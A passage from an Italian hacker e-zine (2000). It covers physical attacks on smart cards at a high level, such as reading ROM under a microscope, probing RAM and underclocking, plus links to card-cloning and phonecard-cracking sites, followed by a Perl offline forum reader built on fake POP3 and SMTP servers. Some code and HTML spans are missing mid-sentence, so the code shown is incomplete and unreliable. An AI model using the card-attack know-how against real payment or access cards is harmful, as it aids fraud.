per il punto sopra, ma non collegate nulla alla EEPROM. Piuttosto procuratevi un buon microscopio e guardate bene la ROM. Con un po' di culo potrete determinare lo stato logico (0 oppure 1) di tutta la ROM. Logico che avete il 50% di possibilita' di sbagliare :-] Purtroppo riuscirete a leggere solo il primo strato, perche' gli altri sono tutti sul fondo e a meno di non sezionare il chip non li leggerete. Tuttavia sezionando il chip si'! \Sondare la RAM Dimenticatevi tutti i tool che usate abitualmente... Usate piuttosto delle sonde per cariche elettriche molto sensibili e mani ferme. Servendovi di questo metodo potete sapere che minimo potenziale c'e' in una determinata zona di silicio e da li' risalire ai livelli logici, quindi al programma. Se non fosse che sulla RAM da poco tempo e' depositato uno strato di metalizzazione che ha lo scopo di fermare e dissipare le differenze di potenziale, questo sarebbe un ottimo metodo :-[ \Rimozione chimico-chirurgica della metallizzazione Impossibile, senza mezzi termini. Oddio, se mi smentite, meglio, ma nel 99.998% dei casi e' come ho detto. Anzi il coperchio metallizzato lo levate, ma i contatti che ci sono sulla parte che tocca il silicio che fine fanno? Si levano pure loro, quindi il lavoro e' inutile. Tenete presente che sono anche operativi da 1 anno circa i sensori della metallizzazione, ovvero se i sensori non trovano la metallizzazione il chip resta inibito. \Underclocking Ok, tutti sappiamo cosa e' l'overclocking, vero? Bene, immaginate l'operazione inversa... Cosa ottenete? La possibilita' di seguire passo passo tutti i segnali all'interno dei circuiti :-] Siete un pochino distratti... Gli omini dell'ISO hanno pensato pure a quello e quindi se il clock scende sotto i 700Khz c'e' un RST e tutto il divertimento sfuma prima di iniziare. Stessa cosa vale per la sovra/sotto alimentazione... /\Postfazione ovvero chiacchere ed appunti in rilassatezza... Adesso che bene o male avete capito come sono e come funzionano le card ritengo carino dirvi un paio di cose che potrebbero interessarvi, diciamo che sono piccoli flash su cosine e progettini interessanti. Oltre alle card monoservizio esistono anche card multiservizi (ovvero piu' usi della card con piu' apparecchiature) che quindi incorporano al loro interno diverse tipologie e metodologie di connessione. Per esempio la Visa ha in progetto di produrre una card che permetta i pagamenti come avviene adesso ed inoltre contenga sia dati personali (patente, documenti in genere) sia dati medici (oltre al banale numero della mutua, al quale siamo oramai abituati, anche tutte le nostre cartelle mediche) tramite applicazioni basate su Java costruite da terze parti. Tutti i programmi Java scritti per funzionare con le card sono chiamati con poca fantasia 'cardlet' e tutte le card che si basano su Java usano delle runtime chiamate JCRE (Java Card Runtime Environment) che si occupano totalmente della gestione della carta. Le specifiche sono emanate dal JCF (Java Card Forum) e le card con Java a bordo sono reperibili sul sito della GemPlus (www.gemplus.com) e si chiamano GemXpresso e GemXplore 'Xpresso. Attualmente il progetto pilota per questo tipo di applicazioni e' quello dell'Universita' del Michigan dove 60.000 persone (fra studenti, insegnanti e personale supplementare) e' in possesso di una card ibrida magnetica-chip che permette sia l'identificazione personale sia i prelievi bancari ed una serie di servizi supplementari tipo fotocopie gratuite, accesso alla biblioteca, iscrizione agli esami e molto altro ancora. C'e' da aggiungere che anche lo Zio Bill ci sta provando con le card ed ha sviluppato un suo OS chiamato SCW (Smart Card for Windows), ma non e' affatto usato, Java pare molto piu' comodo (e non va in crash ogni 5 minuti... Pensate un po' alla vostra carta con SCW a bordo, volete fare un prelievo per andare a mangiare fuori con una bella topona appena rimorchiata e va in crash il bancomat... Cristo, che terrore...). Se poi volete proprio usare SCW tenete presente che potete programmare le card con tutta la suite di Visual Studio usando l'apposito Smart Card for Windows Toolkit for Visual Basic 6.0. Esistono anche estensioni specifiche di XML per le smart card che si chiamano SmartX e servono per sviluppare applicazioni web-based con l'uso di smart card, ma non ho ancora avuto tempo di leggermi bene la meccanica di funzionamento. Esistono anche associazioni che riuniscono produttori di card o di applicazioni e sono tutte piu' o meno note. La meno conosciuta (ma che a mio avviso va seguita con molta cura) si chiama M.U.S.C.L.E. (ovvero Movement for the Use of Smart Card in a Linux Environment). Sul loro sito, locato a http://www.linuxnet.com/docs.html, potete trovare dei documenti molto interessanti come la documentazione sulle API considerate valide dal consorzio PC/SC (formato nel 1996 da Bull, Gemplus, Hewlett-Packard, IBM, Microsoft, Schlumberger, Siemens Nixdorf Information Systems, Sun Microsystems, Toshiba e Verifone per l'uso delle smart card come integrazione ai sistemi operativi) sia in ambito Linux sia le specifiche originali di Microsoft. Oltre a cio' troverete anche diversi lettori e scrittori di smart card e smart card vergini o con sistema crittografico gia' precaricato. Mah, che dire, la mia opinione e' che probabilmente il nostro futuro sara' una tastiera con lettore di una o due smart card integrato. Modelli simili gia' esistono (e mAyhEm che era con me allo SMAU ha visto come sono rimasto di sasso a vederle dal vivo) prodotti dalla Cherry Keyboards (www.cherry.de). Date un pochino un'occhiata al modello 6700 (reader singolo a standard ISO) oppure a tutta la famiglia G-81, sia le 7000 che le 8000. Beh, sono tastiere con 2 lettori di card ID-I oppure 4 in formato ID-000. Sono davvero una figata, si possono leggere davvero tutte le card (sincrone ed asincrone, a standard ISO e non, AFNOR... insomma: TUTTO), pure le card mediche tedesche (notoriamente difficili da maneggiare). Piccola nota carina: il loro catalogo completo e cartaceo e' disponibile gratuitamente su richiesta. Una valida faq sulle smart card in generale la trovate on line su http://www.ioc.ee/atsc/faq.html . /\ Ma allora cosa si puo' fare? Un sacco di cose... Davvero: un sacco. Adesso che sapete come funzionano dovete girare un po' in rete, creare dei programmatori, costruirli, provarli. Per gli smanettoni le card sono l'ultima frontiera del divertimento! I lettori che ci sono in commercio costano troppo, conviene costruirsene uno, qui di seguito vi incollo un po di siti che se ne occupano, a voi non resta che metterci il circuito stampato, il saldatore ed i componenti! Come bonus ci metto pure i link piu' utili che ho sfruttato sull'argomento, buona ricerca! - BO LAVARE'S SMARTCARD SECURITY PAGE http://www.geocities.com/ResearchTriangle/Lab/1578/smart.htm - Card Europe Outputs & Articles - Standards http://www.cardeurope.demon.co.uk/stds.htm - CISA Security Products, Inc. http://www.repla.com/ - Contactless Integrated Circuit(s) Cards http://www.geocities.com/SiliconValley/Garage/9241/wg8.html - CSI (Card Services International) http://www.csi.ie/ - Cypherpunks Tonga http://www.cypherpunks.to/ - Database card www.guarango.com http://www.guarango.com/database/index.htm - Datagrams http://www.datagrams.com/ - Dumb Mouse http://cuba.xs4all.nl/hip/dumbmouse.html - EPSILON ELECTRONICS http://www.eps.no/index.htm - ETSI - Standardizing Telecommunications Products and Services http://www.etsi.org/ - FAQ for alt.technology.smartcards http://www.ioc.ee/atsc/faq.html - Goran Vlaski's Software Page http://vlaski.virtualave.net/ - GSM World Home of the GSM Association http://www.gsmworld.com/ - Home of Decrypt http://www.thoic.com/decrypt/ - M.U.S.C.L.E. Linux Smartcard Documentation http://www.linuxnet.com/docs.html - More smart secutiry links http://home.earthlink.net/~papousa/security.html - PC Smart Cards - Home page http://www.cyberflex.austin.et.slb.com/cyberflex/pcsc/pcsc.html - PC-SC Workgroup http://www.smartcardsys.com/ - Phonecard, hacking, telecard, cloning, phonecard cracking news, clubs, programs and more http://members.tripod.com/telecardnews/index.html - Ronny's Sim-Pic http://simpic.tele-servizi.com/ - Schema mk13here http://www.mk.jnet.it/zips/schema.zip - SCHLUMBERGER - Smart Cards & Terminals http://www.slb.com/smartcards/ - SM Range http://www.gis.co.uk/products/sm/index.htm - Smart Card Developer's Kit http://www.scdk.com/ - Smart Card Forum Home page http://www.smartcrd.com/ - Smart Card Hacking Index http://cuba.xs4all.nl/~tim/sc-hp/index.html - Smart Card Industry Association Website http://www.scia.org/ - Smart Cards & Systems Weekly Volume 4 - Issue 18 http://www.cardshow.com/scs/v4.i18/ - Smartcard Developer Association http://www.scard.org/ - Techfreakz.org http://www.techfreakz.org/main.htm - The Smartcard Gallery http://homepages.pathfinder.gr/hitec/sat/gallery.htm - The Telecard Crackers Club Recruitment Site http://telecracks.freeservers.com/entrypage.htm - BasicCard an inexpensive basic programmable smart card - program your own smart card http://www.basiccard.com/ - Leading Edge Technology http://let.cambs.net/ - Plus Technologies Italia http://www.plustechnologies.it/ - Smart Cards vendita lettori e card (Crownhill) http://www.crownhill.co.uk/itmidx6.htm Oltre a tutta questa roba potete dare anche un'okkiata a http://neworder.box.sk per altre interfaccine carine oppure a http://www.digitalsin.org dove vendono molte interfacce gia' fatte e a prezzi molto contenuti, contanto il lavoro richiesto per farle e le bestemmie che tirano quando non funzionano... Con questo mi pare di aver detto tutto, voglio solo ringraziare tutta la redazione di BFi che mi ha permesso di esprimermi in queste pallosissime forme senza mai inkazzarsi, salutare e ringraziare Buttha per la sua consulenza, dare un bacino a Mara che mi tiene i neuroni vivi ed un grosso saluto a tutti i fratellini SpiPPoLaTorI. Ok, ho finito davvero e per il momento mi ritiro in disparte; per chi ha necessita' di chiarimenti sono reperibile mandando una mail a rigormortem@spippolatori.com, ma non chiedetemi di farvi una card per vedere Stream... Salutoni. ============================================================================== --------------------------------[ EOF 19/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-20100755 0 0 132326 7102660046 10767 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 20 di 28 ]------------- ============================================================================== -[ REVERSiNG ]---------------------------------------------------------------- ---[ PR0GETT0 AN0 -----[ +MaLaTTiA http://malattia.cjb.net Progetto ANO ovvero la nascita di un nuovo tool by +MaLaTTiA ***********************************[INTRO]************************************ Salve a tutti :) Credo che questo articolo costituisca l'esempio lampante di quanto il reversing possa, in vari casi, superare i limiti del cracking: fra queste righe, infatti, di cracking non c'e' neanche l'ombra, mentre sicuramente un reverser (nel senso piu' generico del termine) sapra' apprezzare il fine stesso per cui nasce questo programma e, in genere, le tecniche utilizzate per costruirlo. Si parlava di fine... non stupitevi, talvolta anche io faccio qualcosa che abbia un'utilita' pratica! Lo scopo del programma e' permettervi di leggere e rispondere ai vari web forum senza bisogno di stare collegati a Internet. Detto volgarmente, ci proponiamo di creare un offline reader per i forum (e non venitemi a dire che voi la bolletta non la pagate senno' prendo la mia e ve la ficco su per il K%7@!). Si parlava anche di tecniche: in realta', le conoscenze necessarie per fare un programma del genere non sono molte ne' particolarmente complesse. Credo che tutti voi sappiate grossomodo come funzionano i POST alle CGI e i protocolli POP3 e SMTP, d'altronde questa e' BFi e non Topolino... ad ogni modo, nei punti in cui daro' per scontato qualche concetto vi rimandero' a qualche RFC. ***********************************[TOOLS]************************************ - Un interprete Perl: se volete programmare sotto Windoze potete scaricarvi ActivePerl da http://www.activestate.com, sotto Linux lo trovate in qualsiasi distro. - Librerie Perl : potrebbero mancarvi alcune librerie, in particolare sotto Linux. Non preoccupatevi, potete scaricarle dall'archivio CPAN. ************************************[DOX]************************************* - Per il protocollo POP3, consultate l'RFC 1725 (o la 1939, piu' recente). - Per il protocollo SMTP, consultate ad esempio l'RFC 1869. - Per il formato mime multipart e alcune simpatiche gabole riguardanti il formato HTML nei messaggi, consultate l'RFC 2110. ***************************[PERCHE' PROPRIO ANO?]***************************** A questo punto sicuramente vi sara' venuta in mente questa domanda: "Ma perche' hai scelto un nome cosi' del cavolo per un programma?" ANO e' un acronimo che sta per Another Non-working Offline forum reader. In realta' la definizione originale era, in omaggio alla tradizione unix, una definizione ricorsiva: ANO is Not Offline forum reader, dove quest'ultimo era il programma scritto dall'amico Genius di RingZer0 rimasto purtroppo a una fase beta. Visto che, pero', praticamente nessuno conosceva questo programma, ho optato per l'altra definizione. :) Siete liberi, comunque, di propormene un'altra o di sceglierne una fra le seguenti, totalmente senza senso: - ANO is Not Outlook Express - ANO is Not Opera - ANO is a New piece Of crap - ANO is Not Oooooh, vuoi botte? - ANO Non e' poi cosi' Orrendo come credete ... insomma, forse e' meglio che tenga la vecchia definizione... ma ora la domanda che voi mi farete sara': "Si', ma perche' vuoi proprio la sigla ANO? Chessei, un pervertito?" Naaaaaa, semplicemente mi piace ridere e far ridere la gente e non potevo resistere all'idea di persone che scrivevano: - ho l'ANO pieno di messaggi - mi si e' impiantato l'ANO - ho messo l'ANO su Internet ... e cosi' via, ma soprattutto all'idea di persone che mi scrivevano dicendo: "Non mi funziona l'ANO", domanda per la quale mi ero gia' preparato la risposta: "Prova con le prugne o la crusca" (alla faccia dell'assistenza tecnica :) **********************************[L'IDEA]************************************ Un offline reader per i forum non e' un programma particolarmente complicato da creare: dopotutto, quello che deve fare non e' altro che leggere un documento html dalla rete, estrarre dal documento tutti i link alle pagine contenenti i messaggi e quindi scaricare queste ultime e salvarle su disco per una successiva consultazione. Se l'idea di base e' abbastanza banale (esistono gia' miliardi di applicazioni che eseguono queste operazioni) l'implemetazione tuttavia non risulta cosi' semplice, essenzialmente per motivi pratici: certo, della gente abituata ad utilizzare VI puo' anche accontentarsi di un lungo e disordinato elenco di file di testo, ma io personalmente preferisco ambienti un po' piu' user friendly. Un programma dedicato potrebbe sembrare la soluzione migliore, ma bisogna tener conto del tempo necessario a chi programma per svilupparlo e a chi lo usa per impararne le funzioni. E alla fine resta sempre il problema dell'invio della posta, che non viene certo risolto da un semplice wget. L'idea (immodestamente geniale :) per risolvere tutti questi problemi e' la seguente: immaginate di potervi appoggiare a un programma gia' esistente, come ad esempio il vostro client di posta elettronica, per la gestione dei messaggi; a questo punto non dovreste fare altro che preoccuparvi di passare i messaggi dal forum al programma e dal programma al forum. Semplice, no? Una delle prime idee che mi era venuta e' stata quella di reversare la dll di Calypso (il mio programma per la mail) relativa al POP3 per farle scaricare i messaggi dal web anziche' dal server di posta. Poi ho pensato che una soluzione di questo tipo sarebbe stata troppo specifica, quindi sono giunto a questa conclusione: Mail client <-- Fake POP3 <-- Forum | ^ | | | | +--------> Fake SMTP ------+ ... fiko, eh? :) In pratica, un programma si occupa di recuperare dal web i documenti HTML contenenti i messaggi del forum e li salva su disco, dopo averli convertiti in un formato simile a quello dei messaggi di posta elettronica (inserendo cioe' tutti gli header necessari all'inizio del messaggio), con un nome di file incrementale (ad es. msg001.txt, msg002.txt e cosi' via). Il client di posta si collega in locale al finto server POP3 che legge il numero di messaggi presenti su disco e li passa al client come un "vero" POP3. Il server SMTP funziona in modo esattamente opposto: riceve i messaggi dal client come un vero SMTP, quindi ne estrapola i dati richiesti dalla cgi che si occupa di aggiungere nuovi messaggi al forum ed effettua un POST, simulando quello che voi fate di solito a mano con il vostro browser. La cosa notevole e' che i client di posta elettronica DEVONO per forza sottostare alle regole imposte per la comunicazione coi server (avete mai sentito parlare di RFC?): questo significa che il programma funzionera' indipendentemente dal fatto che voi utilizziate Outlook, Calypso, Eudora, Pegasus Mail, Pine, Kmail, Netscape Messenger, Fetchmail e cosi' via. Ho citato tutti questi programmi non solo perche' sono logorroico, ma perche' li ho testati e posso confermarne il funzionamento. Per non limitare questa compatibilita' ho scelto di usare Perl per l'implementazione del programma, in modo da creare un'applicazione portabile, a patto di scaricarsi qualche libreria. *******************************[SI COMINCIA!]********************************* Siamo pronti per cominciare, tenendo presente che ANO si comporra' di questi tre programmi: - HTML, il programma per recuperare i messaggi in formato HTML dai forum e salvarli in formato mail su disco; - POP3, il "finto" server POP3 che accetta le connessioni dai client di posta e gli passa i messaggi; - SMTP, il "finto" server SMTP che accetta le connessioni dai client di posta, ne riceve i messaggi e li passa al forum. Notate gli apici che racchiudono la parola "finto": per ora non anticipo nulla, ma sappiate che non sono messi li' a caso... Notate anche il fatto che le operazioni fatte dai primi due programmi potrebbero, in realta', essere effettuate solo dal server POP3, che una volta ricevuta una richiesta potrebbe occuparsi del collegamento via web e dello scaricamento dei messaggi. Si e' preferito, tuttavia, delegare il primo compito a un programma apposito, giusto per evitare la gestione di eventuali timeout da parte del client di posta dovuti alla lentezza del trasferimento dati via web... siamo previdenti, noi! *************html***********[RECUPERO MESSAGGI]***********html*************** La procedura di recupero messaggi e' molto semplice: 1) Connessione a un dato indirizzo web e download della pagina principale 2) Parsing della pagina e individuazione dei link al suo interno 3) Selezione dei soli link che ci interessano 4) Download delle pagine linkate 5) Salvataggio delle pagine scaricate nel formato che ci garba di piu'. Le librerie utilizzate all'interno del programma, giusto per risparmiarci un po' di fatica nell'implementare le operazioni principali, sono: use LWP::Simple; # un modo comodo per recuperare file da web use LWP::UserAgent; # usato x recuperare file e fare il parsing dei link use HTML::Parse; # questa e la seguente sono usate per salvare i use HTML::FormatText; # messaggi in formato multipart use HTML::LinkExtor; # usato per estrarre i link use URI::URL; # non me lo ricordo piu' :) I primi tre passaggi possono essere effettuati con due soli comandi: il primo $p = HTML::LinkExtor->new(\&callback); specifica quale procedura richiamare automaticamente quando viene scaricata la pagina, mentre il secondo $res = $ua->request(HTTP::Request->new(GET => $url), sub {$p->parse($_[0])}); ha il compito di scaricare la pagina web. La procedura di callback e' cosi' definita: sub callback { my($tag, %attr) = @_; # tieni solo gli elementi di tipo link $adr=$attr{"href"}; # tieni solo gli indirizzi relativi al forum # nota: $forumadr e' un indirizzo maschera a cui devono conformarsi # tutti i link relativi ai messaggi, questo aiuta ad evitare # pagine del tipo "i prossimi 50 messaggi" o immagini varie. return if $adr !~ /\Q$forumadr/i; # controlla se il messaggio e' gia' stato scaricato: $dldfilename # contiene il nome del file all'interno del quale vengono salvati # tutti gli indirizzi dei messaggi gia' scaricati. open(in, "<$dldfname"); while() { chop; if ($_ =~ /^\Q$adr/i) { close (in); return; } } # se il link ha superato tutti i test, allora aggiungilo nell'array # e incrementa il numero dei link da scaricare push(@imgs, values %attr); $links2dload++; } Dovrebbe essere tutto abbastanza comprensibile, quindi non mi dilunghero' piu' di tanto... se vi stupite che abbia chiamato "@imgs" l'array con gli indirizzi, beh... e' perche' ho copiato quella porzione di codice da un altro programma e mi son dimenticato di cambiare il nome della variabile :) Ad ogni modo, tenete presente che la procedura di callback viene sempre chiamata automaticamente quando il programma scarica la pagina principale del forum e crea un array contentente solo gli indirizzi che ci interessano, il tutto in una manciata di righe. A questo punto, dopo aver trasformato gli eventuali url relativi in url assoluti coi comandi: my $base = $res->base; @imgs = map { $_ = url($_, $base)->abs; } @imgs; possiamo procedere con il download dei messaggi del forum e il loro salvataggio su disco. La porzione di codice che racchiude questi ultimi due passaggi e' una procedura chiamata save_message che si trova dentro a un loop del tipo: foreach $adr (@imgs) { save_message ($adr); } Tale procedura svolge in realta' molti altri compiti piu' o meno secondari: innanzitutto controlla il numero di messaggi gia' salvati, in modo da poter creare un nuovo messaggio il cui nome sia immediatamente successivo a quelli precedenti (tale nome viene salvato nella variabile $datname); in seguito scarica l'url che le viene passato tramite la variabile $adr e lo salva in un file temporaneo, quindi lo analizza estraendone i dati che caratterizzeranno poi il messaggio di posta elettronica: il mittente, la data e il subject del messaggio. L'ultima operazione consiste nel salvare il messaggio in un nuovo file, il cui nome e' memorizzato in $datname, inserendo come header i dati appena prelevati e facendo un parsing del file html per eliminare tutti i pezzi di troppo, come ad esempio le pubblicita' o gli elenchi dei messaggi del thread. Vediamo con un po' piu' di attenzione la costruzione dei messaggi in un formato compatibile con gli standard relativi alla posta elettronica: come sicuramente saprete, ogni messaggio di posta si compone di due sezioni diverse, quella contenente gli header e quella contenente il corpo vero e proprio del messaggio, separate da una riga vuota. Esempi classici di header sono i campi "From:", "Date:", "Subject:", "Reply-to:" e cosi' via. A seconda di cosa trovate nel campo "Content-Type:" potete avere dei messaggi di testo semplice, in formato html o anche in entrambi i formati contemporaneamente, i quali lasciano al client di posta la possbilita' di scegliere come visualizzare il messaggio. In realta' il formato HTML non e' particolarmente simpatico: i messaggi sono MOLTO piu' pesanti, specialmente se includono delle immagini, e non tutti i programmi sono tuttora in grado di gestirli al meglio. Certo, e' possibile vedere un messaggio HTML anche all'interno di Pine ormai, pero' ad esempio Calypso effettua la ricerca delle stringhe di testo solo nelle porzioni text/plain dei messaggi (che triste :) Resta pero' un vantaggio nell'utilizzo di html per questi messaggi: visto che originariamente questi erano pagine web visualizzandoli come html non perdiamo nulla del formato originale. Ad esempio, consultando la msgboard dedicata a Javascript avere i messaggi in formato testo risulterebbe molto limitativo; idem dicasi per tutti quei messaggi che contengono dei link o simili. Per questo motivo, e per lasciare sempre una compatibilita' all'indietro, ho deciso di utilizzare il formato multipart e di salvare i messaggi sia come HTML sia come testo semplice: naturalmente potete mettere mano al sorgente ed eliminare questa opzione, se lo desiderate... ;) I campi che ho deciso di includere nell'header sono i seguenti: la data, print out "Date: $msgdate +0200\n"; il mittente con indirizzo, se presente, print out "From: $msgsender <$msgadr>\n"; un campo Reply-to speciale per le risposte ai messaggi, print out "Reply-to: $msgtopic-$msgnumber\@$boardnum\n"; il subject, formattato in un modo speciale, print out "Subject: [$msgtopic-$msgnumber] $msgsubj\n"; un paio di header aggiuntivi, utili x i filtri, print out "X-Mailer: +Ma's ANO\n"; print out "X-Profilename: $profile\n"; un'accozzaglia di header mime per il formato multipart print out "Mime-Version: 1.0\n"; $boundary=$msgtopic."_".$msgnumber; print out 'Content-Type: Multipart/related; boundary="'.$boundary.'"'; print out "\n\n--$boundary-\n"; ... qui comincia il messaggio vero e proprio. Osservate alcuni piccoli particolari: - i messaggi contengono due "X-header" che vi permettono di filtrarli anche in base al forum di provenienza: in questo modo se lo desiderate li potete mettere automaticamente in cartelle diverse all'interno della vostra mailbox. - se possibile, viene sempre indicato il mittente con anche l'indirizzo di posta elettronica (quando presente, of course) per permettervi di rispondere o quantomeno per sapere chi ha scritto quel messaggio :) - il campo Reply-to vi permette, insieme al file relativo al server smtp, di mandare risposte a un particolare messaggio sul forum: esso infatti e' composto da un indirizzo "finto" che contiene il numero di messaggio, il numero di thread e la messageboard di destinazione. Per una spiegazione piu' dettagliata di questi parametri vedete piu' avanti la descrizione del server smtp. - il subject e' particolare: al suo inizio, infatti, vengono salvati il numero di thread e in seguito quello di messaggio, in modo da poter mettere i messaggi nello stesso ordine del forum con un semplice "order by subject". - il multipart funziona grossomodo cosi': 1) Innanzitutto, bisogna inserire la riga Content-Type: Multipart/related; boundary="quelcavolochevolete" insieme agli header del messaggio. 2) A questo punto, ogni blocco di testo racchiuso fra due boundary e' considerato una parte distinta del messaggio. Nel nostro caso particolare, le parti saranno due: --quelcavolochevolete- Content-Type: text/html; charset="us-ascii" Prova

Messaggio di prova :)

--quelcavolochevolete- Content-type: text/plain; charset="us-ascii" Messaggio di prova :) --quelcavolochevolete-- 3) Dovendo scegliere un valore univoco per le boundary, ho deciso di utilizzare il valore numerothread-numeromessaggio. 4) Un consiglio: date un'occhiata all'RFC 2110, in quanto contiene delle informazioni molto interessanti riguardanti i messaggi HTML e gli oggetti contenuti al loro interno. NOTA BENE: per questa parte non e' stato mostrato il codice relativo in quanto e' ancora in versione provvisoria e ci allontanerebbe dal nostro obiettivo, quello cioe' di scrivere un programma il piu' versatile possibile. Infatti, per il desiderio di vedere il programma funzionare il prima possibile, ho inserito all'interno dell routine di parsing alcuni dati relativi ai forum InsideTheWeb, rendendo automaticamente il programma non compatibile con tutti gli altri forum O:-) Per quanto riguarda il corpo della mail, invece, il codice e' abbastanza (ma non ancora completamente) versatile: esso si limita a leggere dei valori da un elenco di trigger che possono essere definiti dall'utente, utilizzandoli per decidere se copiare o no determinate porzioni di testo dal file temporaneo a quello finale. Questo elenco rimane quasi sempre lo stesso per ogni tipo di forum e viene creato in seguito alla semplice lettura di un messaggio scaricato dal web. Ad esempio, se scaricate un messaggio da un forum InsideTheWeb potete notare che la parte che a noi interessa veramente, tolti javascript, banner e schifezze varie, e' ristretta a una piccola porzione di testo compresa fra
e
o, volendo fare una selezione piu' ristretta, fra un
    e un
. Poiche' i messaggi dei forum sono generati in automatico siamo praticamente sicuri che TUTTI quelli che troveremo seguiranno questa struttura, a meno che un utente non si metta di sua volonta' a scrivere nel corpo del suo messaggio tag esattamente identiche a quelle che interessano a noi... quindi possiamo tranquillamente dire al programma "non copiare tutto quello che trovi fino al primo trigger" (corrispondente alla riga $port, # numero porta Proto => 'tcp', # protocollo Listen => 5, # si pone in ascolto Reuse => 1) || # hmm... non ricordo :) die "Socket error: $!\n" unless $sock; # accetta una nuova connessione $new_sock = $sock->accept(); # recupera l'IP e l'hostname del client per il logging $ip = $new_sock->peerhost(); ($name,$alias,$addrtype,$length,$new_addr) = gethostbyaddr(inet_aton($ip),AF_INET); # saluta il client :) print $new_sock "+OK MalaPOP3 server ready"; Per gestire i vari comandi che possono essere inviati dal client, e' sufficiente fare un ciclo parse_command: while (<$new_sock>) { chop; chop; print $_; /^USER *(.*)/i && do { ... next parse_command; }; /^PASS *(.*)/i && do { ... next parse_command; }; /^STAT/i && do { ... next parse_command; }; ... eccetera, fino a /^QUIT/i && do { print $new_sock "+OK MalaPOP3 server signing off"; close ($new_sock); last; }; print $new_sock "-ERR command unrecognized"; }; # end of "while new_sock" Per fortuna, Perl ci aiuta molto per il parsing delle stringhe inviate al socket, quindi possiamo lavorare a un livello abbastanza astratto. A ogni comando corrisponde una serie di istruzioni che devono restituire esattamente i valori che il client si aspetta. In particolare: - USER fa in modo che ANO cerchi all'interno del file di configurazione se esiste un profilo con il nome specificato. In caso affermativo, il server risponde con un +OK, altrimenti esso invia un -ERR al client. - PASS invia semplicemente un +OK (per ora non ci sono controlli, visto che il programma nasce come semplice client). - STAT fa in modo che il server controlli quanti file associati a un account particolare siano presenti su disco. La risposta del server e' il numero di messaggi e la loro dimensione totale. - LIST senza parametri controlla su disco il numero di messaggi e per ognuno mostra il numero e la dimensione. Eseguito come LIST n, restituisce il numero e la dimensione del messaggio ennesimo. - RETR fa in modo che il server risponda con un +OK se il file e' presente su disco e legga il file da disco, inviandolo al client e terminando la trasmissione con un singolo '.'. - DELE cancella un messaggio da disco (attenzione: in questo caso non funziona come un flag, ma elimina direttamente il messaggio!). - NOOP restituisce un semplice +OK. - RSET non e' implementato. - TOP fa in modo che il server risponda con un +OK se il file e' presente su disco e invii le prime m=n+h righe del file, dove n e' il parametro del comando TOP (il numero di righe che il client vuole scaricare) e h il numero di righe degli header incrementato di uno (la riga vuota). Ops... ho appena trovato un errore nella beta release: mi ero dimenticato di aggiornare il numero di header dopo avere aggiunto gli ultimi! O:-) - QUIT chiude la connessione. Poiche' le funzioni non sono particolarmente complicate, vi rimando direttamente ai sorgenti senza ulteriori spiegazioni. Il vantaggio di una implementazione di questo tipo e' che il nostro sara' a tutti gli effetti un VERO server pop3: pur eseguendo operazioni diverse, infatti, sara' possibile a chiunque collegarsi al nostro computer (conoscendo la porta, naturalmente) e scaricare i messaggi che noi abbiamo prelevato dal forum. Se da una parte questo accendera' una lampadina d'allarme a tutti coloro fra voi che stanno attenti alla sicurezza, i vantaggi sono indubbi: con un paio di modifiche, infatti, e' possibile trasformare questo semplice programmino in un servizio pubblico (gratuito, naturalmente, e SENZA PUBBLICITA', se non volete che venga li' a spezzarvi le braccine), mentre volendo proteggere il proprio sistema da accessi esterni e' sufficiente eseguire il server pop3 solo quando siete scollegati. *************smtp*************[IL SERVER SMTP]*************smtp*************** Il server SMTP e' forse la sezione di ANO che richiede un maggior impegno dal punto di vista del reversing, anche se in questo caso non lavoriamo con un disassemblato, ma con un piu' semplice sorgente HTML. Per quando riguarda la creazione del server non dovreste avere grossi problemi, in quanto esso e' assolutamente identico al server POP3 fatta eccezione per la porta su cui gira e i comandi da accettare. Un altro discorso, invece, e' quello dell'invio dei dati su web. Siccome dobbiamo simulare un POST a una CGI come quello che verrebbe eseguito dal nostro browser, la prima cosa che dobbiamo fare e' controllare all'interno del sorgente HTML di un messaggio quali sono i parametri che vengono passati alla CGI e capirne il significato: scarichiamo quindi un messaggio da InsideTheWeb (limitiamoci a questi forum, l'estensione agli altri dovrebbe essere abbastanza semplice) e controlliamo i valori POSTati dal form: Ok, abbiamo tutti i dati che ci servono: - l'indirizzo a cui mandare il post e' quello specificato all'interno della prima riga: http://post.InsideTheWeb.com/messageboard/post.cgi - function deve sempre avere il valore "write" - MyNum e' l'ID del messaggio a cui state rispondendo - P e' un valore un po' strano... finora mi e' parso di notare che abbia il valore "Yes" quando si risponde a un messaggio, "No" quando ne inserite uno nuovo all'interno del forum - AdNo e' un ID che corrisponde al banner pubblicitario presente all'interno della pagina, qualcosa come "l'utente ha risposto a un messaggio che conteneva questa pubblicita'"... mah, contenti loro :) - Subject contiene il subject del messaggio - name e email_addr corrispondono al nome e all'indirizzo email del mittente - Msg contiene il testo vero e proprio del messaggio - acct rappresenta il numero della messageboard in cui desiderate inserire il nuovo messaggio - TL e' l'ID del thread del messaggio a cui state rispondendo (che, guarda caso, corrisponde all'ID del primo messaggio del thread) - submit e reset possono essere ignorati :) A questo punto, per verificare questi dati, createvi una messageboard tutta vostra e collegatevi al seguente URL: http://post.insidetheweb.com/messageboard/post.cgi?function=write&MyNum=0& P=No&AdNo=0&Subject=Prova&name=mala&email_addr=malattia@gmx.net& Msg=Messaggio%20mandato%20a%20mano&acct=mbxxxxxx&TL=0 dove xxxxxxx e' il numero della vostra messageboard: vedrete magicamente apparire un nuovo messaggio... oddio, di magia ce n'e' poca, pero' e' sempre una bella soddisfazione :) Ora che sappiamo come inviare "a mano" un messaggio all'interno di un forum, vediamo di farlo automaticamente... facciamo il punto della situazione: - ANO dovra' effettuare un POST a una CGI, inviandole gli argomenti che abbiamo appena trovato correttamente formattati (cioe' non in normale formato stringa, ma con tutti i caratteri di escape al posto giusto): per fortuna, c'e' una funzione in Perl che lo fa gia' automaticamente per noi :) - Dal lato del client, il programma dovra' comportarsi come un finto server SMTP (come al solito, la parola "finto" e' superflua, in quanto chiunque potra' collegarsi a voi per mandare messaggi in un forum... pero' non potrete, naturalmente, mandare mail normali!) e quindi accettare i soliti comandi standard, elencati nella tabella piu' avanti. - I dati che servono alla CGI sono piu' di quelli normalmente forniti a un normale server mail: per risolvere questo problema dobbiamo cercare di "infilare" piu' informazioni possibili all'interno delle poche variabili che abbiamo a disposizione. La soluzione che ho adottato io e' mostrata nella tabella seguente: CGI | SMTP | AUTO | ---------------+----------------------------+----------------------------+ function | | Impostato sempre a "write" | ---------------+----------------------------+----------------------------+ MyNum | Campo 